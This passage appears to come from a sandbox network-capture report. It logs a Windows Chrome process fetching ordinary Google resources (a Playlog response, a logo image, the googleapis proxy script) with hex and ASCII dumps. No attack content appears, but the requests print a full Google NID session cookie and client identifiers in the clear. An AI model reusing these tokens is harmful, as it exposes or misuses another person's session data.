2024-12-21 07:41:17 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:16 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 07:41:17 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:41:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49835	172.217.19.228	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:16 UTC	981	OUT	GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:41:17 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 3170 Date: Sat, 21 Dec 2024 07:41:17 GMT Expires: Sat, 21 Dec 2024 07:41:17 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 07:41:17 UTC	719	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 36 08 06 00 00 00 25 1d 60 0c 00 00 0c 29 49 44 41 54 78 da ed 5d 0b 70 54 d5 19 3e 98 6c 00 1f 88 da 97 b5 82 62 ad 14 28 48 76 37 20 44 37 f7 6e 08 38 83 a2 a5 b4 56 ab a5 48 5f 82 52 3b 53 1f 68 59 60 77 13 28 b6 d5 2a b6 4e 5f 52 ab 22 30 60 a9 2d e6 41 a9 1d 7c b4 2a 4e c5 fa 60 b0 a8 80 ec 6e 02 84 7b ef 26 90 84 6c ff 6f e0 0e 3b 9b ff de bd 8f 84 61 9a f3 cd 9c d9 64 ef dd 24 e7 f0 9d ff f1 fd ff b9 08 09 09 09 89 fe 89 e9 b1 dc e9 4a 9d 31 ae 2a 91 9d a1 d4 1a 37 2b 09 63 8e 9a d4 6f a0 a1 54 2f cf 7e 56 e4 72 03 84 84 84 13 44 eb da 47 a8 49 63 11 91 e7 e5 aa b8 d6 45 5f e7 ac 46 55 52 db a3 26 f4 df 55 25 8c a9 b1 58 ee 34 21 21 51 88 48 22 3b 91 c8 f4 1c 08 e3 65 28 49 63 07 Data Ascii: PNGIHDR6%`)IDATx]pT>lb(Hv7 D7n8VH_R;ShY`w(N_R"0`-A\|N`n{&lo;ad$J1*7+coT/~VrDGIcE_FUR&U%X4!!QH";e(Ic
2024-12-21 07:41:17 UTC	1390	IN	Data Raw: df d8 08 c8 2f 44 6b db ae 38 9e 54 fd 99 be 7f 2b 7f f8 25 56 73 34 14 ce 44 43 1b 52 d1 60 a7 f5 5a 06 df c2 e6 05 c1 bc 0a a2 1f 30 13 5b 29 4e 21 a4 ab 83 95 19 25 fc 3e 26 ec 62 ec 24 92 4d 12 0e d1 d1 50 1a 21 c2 fc 97 21 92 1d c1 de 27 4b 76 a5 e3 b5 4e 64 af a1 b5 6d 76 52 fa 3a 96 4c e9 0b e8 eb 77 0b af 79 25 d6 8e 69 9f 1f 48 eb f2 b0 bb 75 0c d5 ef 89 86 cf 73 dd 53 65 31 b1 5b c5 29 02 22 c7 cd 29 25 d8 85 49 ba 1d d8 91 f8 bc 28 82 23 4d 81 d9 34 ba 40 16 b7 03 9f 23 17 f9 cd e2 1b 58 9f e7 84 50 3c c1 fc 13 6b df 94 b1 67 a4 95 f0 16 4f eb a8 86 df 49 a9 13 3e 2d 9c 02 a2 27 1f 5f e9 51 e1 12 54 ea 79 0f 3d 5a 9e 47 52 7b 5d 14 80 26 74 7d 2a 1a ee c6 e4 bc 8e 94 12 3e 4a 04 9b 21 2c d0 d9 58 36 f3 48 43 a0 1b 24 f1 3a 8e 7d be ec 7a bb da Data Ascii: /Dk8T+%Vs4DCR`Z0[)N!%>&b$MP!!'KvNdmvR:Lwy%iHusSe1[)")%I(#M4@#XP<kgOI>-'_QTy=ZGR{]&t}*>J!,X6HC$:}z
2024-12-21 07:41:17 UTC	1061	IN	Data Raw: ab 50 1a 37 9a 50 9e f0 62 0d d1 67 44 a4 6d b3 e8 52 9d 27 0a 80 0c 90 57 cf 83 f3 85 03 40 9a e0 3e 0f 51 30 cf 8d 8d 03 11 18 1d ea 36 e1 00 74 df 9d 6c 69 a7 3e 30 e6 84 85 36 ca 2d d6 73 a1 28 82 e0 63 b9 00 e9 89 af f4 89 40 0a 0f a0 56 28 a2 38 b0 c9 6f 43 dc d5 5c 13 1c e9 cf 25 26 8c 47 6d ca 2e 59 22 c2 4f 6a e2 6d 17 8a 22 40 f0 8a 62 36 7a 8b ac 7f 9e be d1 aa ac 01 cd 89 31 dd 5d e8 11 2a a2 5f cd c6 7d 4c 91 f5 2f 8c 5c d0 c8 65 75 d4 ad 60 2b 09 a0 9b 81 eb 86 a0 f7 36 89 02 70 f3 c7 b9 4d 25 ae 7f dd f6 54 53 42 fb 83 df 92 8e 29 2b c0 42 31 e4 6a a6 8e 85 b1 c2 06 a8 bf a2 62 61 66 d4 10 4f 1d 5a 2f 9e 10 78 4a 4c d1 56 8e b8 b1 15 19 0b 74 19 f4 c6 a3 be 88 7e 23 fa ec 7c 94 2c 68 61 76 db fd 0c ec c6 48 2c 6d 29 b4 c1 6a 99 b2 03 33 d6 Data Ascii: P7PbgDmR'W@>Q06tli>06-s(c@V(8oC\%&Gm.Y"Ojm"@b6z1]*_}L/\eu`+6pM%TSB)+B1jbafOZ/xJLVt~#\|,havH,m)j3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49849	142.250.181.46	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:19 UTC	904	OUT	GET /js/googleapis.proxy.js?onload=startup HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://content.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:41:20 UTC	837	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript Access-Control-Allow-Origin: * Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gapi-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gapi-team" Report-To: {"group":"gapi-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gapi-team"}]} Timing-Allow-Origin: * Content-Length: 14478 Date: Sat, 21 Dec 2024 07:41:20 GMT Expires: Sat, 21 Dec 2024 07:41:20 GMT Cache-Control: private, max-age=1800, stale-while-revalidate=1800 ETag: "163be122ea78eb5c" X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 07:41:20 UTC	553	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e Data Ascii: (function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof win
2024-12-21 07:41:20 UTC	1390	IN	Data Raw: 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 62 21 3d 6e 75 6c 6c 26 26 61 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 Data Ascii: break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegEx
2024-12-21 07:41:20 UTC	1390	IN	Data Raw: 72 72 6f 72 28 22 42 61 64 20 73 65 63 72 65 74 22 29 3b 74 68 69 73 2e 6c 3d 61 7d 3b 79 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 7d 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 29 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 22 29 3b 76 61 72 20 41 3d 5b 5d 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 41 20 55 52 4c 20 77 69 74 68 20 63 6f 6e 74 65 6e 74 20 27 22 2b 61 2b 22 27 20 77 61 73 20 73 61 6e 69 74 69 7a 65 64 20 61 77 61 79 2e 22 29 7d 3b 41 2e 69 6e 64 65 78 4f 66 28 44 29 3d 3d 3d 2d 31 26 26 41 2e 70 75 73 68 28 44 29 3b 2f 2a 0a 20 67 61 70 69 2e Data Ascii: rror("Bad secret");this.l=a};y.prototype.toString=function(){return this.l};new y("about:blank");new y("about:invalid#zClosurez");var A=[],D=function(a){console.warn("A URL with content '"+a+"' was sanitized away.")};A.indexOf(D)===-1&&A.push(D);/* gapi.
2024-12-21 07:41:20 UTC	1390	IN	Data Raw: 6b 61 2c 22 5f 70 22 2c 49 28 29 29 2c 48 28 62 2c 63 2c 49 28 29 29 5b 61 5d 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 52 28 61 2c 22 5f 70 22 2c 63 29 29 7d 2c 6d 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 6a 6f 69 6e 28 22 5f 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2e 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2d 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 2c 2f 67 2c 22 5f 22 29 7d 3b 76 61 72 20 6e 61 3d 49 28 29 2c 55 3d 5b 5d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 61 64 20 68 69 6e 74 3a 20 22 2b 61 29 3b 7d 3b 55 2e 70 75 73 68 28 5b 22 6a 73 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 20 69 6e 20 61 29 Data Ascii: ka,"_p",I()),H(b,c,I())[a]=(new Date).getTime(),R(a,"_p",c))},ma=function(a){return a.join("__").replace(/\./g,"_").replace(/\-/g,"_").replace(/,/g,"_")};var na=I(),U=[],V=function(a){throw Error("Bad hint: "+a);};U.push(["jsl",function(a){for(var b in a)
2024-12-21 07:41:20 UTC	1390	IN	Data Raw: 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 22 2c 22 29 7d 3b 72 65 74 75 72 6e 5b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 2e 70 61 74 68 50 72 65 66 69 78 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 0a 22 2c 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 46 2f 67 2c 22 2f 22 29 2c 22 2f 6b 3d 22 2c 65 28 61 2e 76 65 72 73 69 6f 6e 29 2c 22 2f 6d 3d 22 2c 65 28 62 29 2c 64 3f 22 2f 65 78 6d 3d 22 2b 65 28 64 29 3a 22 22 2c 22 2f 72 74 3d 6a 2f 73 76 3d 31 2f 64 3d 31 2f 65 64 3d 31 22 2c 61 2e 67 3f 22 2f 61 6d 3d 22 2b 65 28 61 2e 67 29 3a 22 22 2c 61 2e 69 3f 22 2f 72 73 3d 22 2b 65 28 61 2e 69 29 3a 22 22 2c 61 2e 6a 3f 22 2f 74 3d 22 2b 65 28 61 2e 6a 29 3a 22 22 2c 22 2f 63 62 3d 22 2c 65 28 63 29 5d 2e 6a 6f 69 6e 28 22 22 Data Ascii: .replace(/%2C/g,",")};return[encodeURIComponent(a.pathPrefix).replace(/%2C/g,",").replace(/%2F/g,"/"),"/k=",e(a.version),"/m=",e(b),d?"/exm="+e(d):"","/rt=j/sv=1/d=1/ed=1",a.g?"/am="+e(a.g):"",a.i?"/rs="+e(a.i):"",a.j?"/t="+e(a.j):"","/cb=",e(c)].join(""
2024-12-21 07:41:20 UTC	1390	IN	Data Raw: 61 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 7b 76 61 72 20 65 3d 61 5b 64 5d 2c 66 3b 69 66 28 66 3d 65 29 7b 61 3a 7b 66 6f 72 28 66 3d 30 3b 66 3c 62 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 69 66 28 62 5b 66 5d 3d 3d 3d 65 29 62 72 65 61 6b 20 61 3b 66 3d 2d 31 7d 66 3d 66 3c 30 7d 66 26 26 63 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 63 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 4d 2e 6e 6f 6e 63 65 3b 72 65 74 75 72 6e 20 61 21 3d 3d 76 6f 69 64 20 30 3f 61 26 26 61 3d 3d 3d 53 74 72 69 6e 67 28 61 29 26 26 61 2e 6d 61 74 63 68 28 41 61 29 3f 61 3a 4d 2e 6e 6f 6e 63 65 3d 6e 75 6c 6c 3a 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 3f 28 61 3d 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 73 63 72 69 70 74 5b 6e 6f 6e 63 65 5d Data Ascii: a.length;++d){var e=a[d],f;if(f=e){a:{for(f=0;f<b.length;f++)if(b[f]===e)break a;f=-1}f=f<0}f&&c.push(e)}return c},Ca=function(){var a=M.nonce;return a!==void 0?a&&a===String(a)&&a.match(Aa)?a:M.nonce=null:F.querySelector?(a=F.querySelector("script[nonce]
2024-12-21 07:41:20 UTC	1390	IN	Data Raw: 22 54 69 6d 65 6f 75 74 20 72 65 71 75 69 72 65 73 20 62 6f 74 68 20 74 68 65 20 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 61 6e 64 20 6f 6e 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 74 6f 20 62 65 20 73 65 74 22 3b 0a 6c 3d 48 28 4f 28 63 29 2c 22 72 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 3b 76 61 72 20 47 3d 48 28 4f 28 63 29 2c 22 4c 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 2c 4d 61 3d 4d 2e 6c 65 7c 7c 5b 5d 2c 4b 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6c 29 2c 6c 61 3d 66 75 6e 63 74 69 6f 6e 28 77 2c 42 29 7b 69 66 28 7a 29 72 65 74 75 72 6e 20 30 3b 45 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 71 29 3b 47 2e 70 75 73 68 2e 61 70 70 6c 79 28 47 2c 72 29 3b 76 61 72 20 43 3d 28 28 4a 7c 7c 7b 7d 29 2e 63 6f 6e 66 69 67 7c 7c 7b 7d 29 2e 75 Data Ascii: "Timeout requires both the timeout parameter and ontimeout parameter to be set";l=H(O(c),"r",[]).sort();var G=H(O(c),"L",[]).sort(),Ma=M.le\|\|[],K=[].concat(l),la=function(w,B){if(z)return 0;E.clearTimeout(q);G.push.apply(G,r);var C=((J\|\|{}).config\|\|{}).u
2024-12-21 07:41:20 UTC	1390	IN	Data Raw: 62 21 3d 3d 22 22 7c 7c 21 61 2e 65 6e 64 73 57 69 74 68 28 22 2e 6a 73 22 29 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 61 2e 6c 65 6e 67 74 68 2d 33 29 2c 62 3d 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 2b 31 2c 62 3e 3d 61 2e 6c 65 6e 67 74 68 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 28 62 29 2e 73 70 6c 69 74 28 22 3a 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 21 5b 22 61 70 69 22 2c 22 70 6c 61 74 66 6f 72 6d 22 5d 2e 69 6e 63 6c 75 64 65 73 28 64 29 7d 29 2c 63 2e 66 65 61 74 75 72 65 73 3d 61 29 29 7d 5d 29 3b 51 2e 62 73 30 3d 77 69 6e 64 6f 77 2e 67 61 70 69 2e 5f 62 73 7c 7c 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3b 52 28 22 62 73 30 22 29 3b 51 2e 62 73 31 3d Data Ascii: b!==""\|\|!a.endsWith(".js")\|\|(a=a.substring(0,a.length-3),b=a.lastIndexOf("/")+1,b>=a.length\|\|(a=a.substr(b).split(":").filter(function(d){return!["api","platform"].includes(d)}),c.features=a))}]);Q.bs0=window.gapi._bs\|\|(new Date).getTime();R("bs0");Q.bs1=
2024-12-21 07:41:20 UTC	1390	IN	Data Raw: 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 70 6c 75 73 2f 63 69 72 63 6c 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 0a 70 6c 75 73 5f 73 68 61 72 65 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 2b 31 2f 73 68 61 72 65 62 75 74 74 6f 6e 3f 70 6c 75 73 53 68 61 72 65 3d 74 72 75 65 26 75 73 65 67 61 70 69 3d 31 22 7d 2c 72 62 72 5f 73 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 73 69 6d 70 6c 65 73 63 72 6f 6c 6c 65 Data Ascii: on_prefix::se:_/widget/plus/circle?usegapi=1"},plus_share:{params:{url:""},url:":socialhost:/:session_prefix::se:_/+1/sharebutton?plusShare=true&usegapi=1"},rbr_s:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarsimplescrolle
2024-12-21 07:41:20 UTC	1390	IN	Data Raw: 5f 69 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 69 6e 76 69 74 61 74 69 6f 6e 22 7d 2c 73 68 61 72 65 3a 7b 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 73 68 61 72 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 70 6c 75 73 6f 6e 65 3a 7b 70 61 72 61 6d 73 3a 7b 63 6f 75 6e 74 3a 22 22 2c 0a 73 69 7a 65 3a 22 22 2c 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 Data Ascii: _i:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarinvitation"},share:{url:":socialhost:/:session_prefix::im_prefix:_/widget/render/share?usegapi=1"},plusone:{params:{count:"",size:"",url:""},url:":socialhost:/:session_prefi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49858	142.250.181.46	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:22 UTC	1017	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0?le=scs HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://content.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:41:23 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 74412 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 19 Dec 2024 08:01:01 GMT Expires: Fri, 19 Dec 2025 08:01:01 GMT Cache-Control: public, max-age=31536000 Age: 171621 Last-Modified: Mon, 02 Dec 2024 19:15:50 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
